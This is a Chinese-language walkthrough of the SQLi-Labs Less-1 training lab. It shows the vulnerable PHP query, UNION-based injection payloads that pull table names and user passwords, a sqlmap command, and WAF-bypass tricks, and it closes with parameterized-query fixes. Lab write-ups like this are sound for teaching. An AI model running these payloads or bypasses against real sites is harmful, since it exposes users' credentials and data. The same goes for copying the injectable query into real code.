1. SQL注入实战入门:SQLi-Labs Less-1通关详解
第一次接触SQL注入漏洞时,很多人会被各种专业术语和攻击手法绕晕。作为Web安全领域的经典实验环境,SQLi-Labs的Less-1关卡正是为初学者设计的绝佳起点。这个关卡模拟了最简单的字符型注入场景,通过它你可以直观理解"为什么一个单引号就能让网站崩溃",以及攻击者如何利用这个漏洞获取数据库敏感信息。
我在带新人入门Web安全时,总会让他们从这个关卡开始实战。下面将完整还原通关过程,包括每个步骤的原理分析和常见误区。即使你完全没有渗透测试经验,跟着操作也能在30分钟内完成首次注入攻击。
2. 实验环境准备
2.1 SQLi-Labs靶场搭建
首先需要本地部署SQLi-Labs环境。推荐使用XAMPP集成环境(Windows)或LAMP套件(Linux),以下是具体步骤:
- 下载SQLi-Labs源码包(GitHub搜索"SQLi-Labs")
- 解压到Web服务器根目录(如XAMPP的htdocs文件夹)
- 访问
http://localhost/sqli-labs/进行安装 - 根据页面提示初始化数据库
注意:PHP版本建议5.x,部分新版本可能兼容性问题导致关卡无法正常显示
2.2 关键配置文件说明
遇到关卡无法加载时,重点检查以下文件:
sql-connections/db-creds.inc:数据库连接配置setup.php:数据库初始化脚本
常见问题解决方案:
- 数据库连接失败:确认MySQL服务已启动
- 页面空白:检查PHP错误日志(通常位于xampp/php/logs)
- 关卡不显示:重新执行setup.php
3. Less-1关卡原理分析
3.1 漏洞代码还原
该关卡后端PHP代码模拟了典型的登录查询:
$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql);当访问/Less-1/?id=1时,实际执行的SQL语句为:
SELECT * FROM users WHERE id='1' LIMIT 0,13.2 注入点检测技巧
输入单引号触发错误是检测SQL注入的经典方法:
/Less-1/?id=1'此时服务器返回语法错误,因为生成的SQL变为:
SELECT * FROM users WHERE id='1'' LIMIT 0,1这个报错暴露了两个关键信息:
- 参数值被单引号包裹(字符型注入)
- 错误信息完整回显(有利于攻击者调试)
4. 手工注入全流程
4.1 确定字段数
使用ORDER BY子句逐步测试:
/Less-1/?id=1' ORDER BY 3--+当数字超过实际列数时会报错,通过二分法快速确定字段数为3。
4.2 获取数据库信息
利用UNION SELECT联合查询:
/Less-1/?id=-1' UNION SELECT 1,database(),version()--+这里注意:
- 原查询使用
LIMIT 0,1只返回一行,所以将id设为-1确保union结果能显示 --+用于注释掉后续SQL代码(+号在URL中表示空格)
4.3 提取表名和列名
通过information_schema获取元数据:
/Less-1/?id=-1' UNION SELECT 1,table_name,column_name FROM information_schema.columns WHERE table_schema=database()--+4.4 最终数据泄露
查询users表的具体内容:
/Less-1/?id=-1' UNION SELECT 1,username,password FROM users--+5. 自动化工具实战
5.1 SQLmap基础用法
虽然手工注入有助于理解原理,但实际渗透中更常用自动化工具:
sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" --risk=3 --level=5 --dbs关键参数说明:
--risk:风险等级(1-3)--level:测试深度(1-5)--dbs:枚举所有数据库
5.2 防御绕过技巧
当遇到基础WAF时,可以尝试:
- 大小写混合:
SeLeCT - 内联注释:
/*!SELECT*/ - 字符串拼接:
CONCAT('sel','ect')
6. 漏洞修复方案
6.1 参数化查询示例
PHP中的正确写法:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=? LIMIT 0,1"); $stmt->execute([$id]);6.2 其他防御措施
- 输入验证:检查id是否为数字
- 最小权限原则:数据库用户只授予必要权限
- 错误处理:关闭详细错误回显
7. 常见问题排查
- 注入payload不生效?
- 检查URL编码(单引号需编码为%27)
- 确认注释符正确(--后要有空格)
- SQLmap无法连接?
- 确认代理设置(如有)
- 尝试降低测试级别:
--level=2
- 结果乱码?
- 添加
--charset=utf8参数 - 检查数据库连接编码
这个关卡虽然简单,但涵盖了SQL注入的核心原理。建议在通关后尝试修改payload,比如用布尔盲注或时间盲注的方式再次突破,对比不同技术的优缺点。真正掌握一个漏洞的标志,是你能从攻击者和防御者两个角度完整复现它。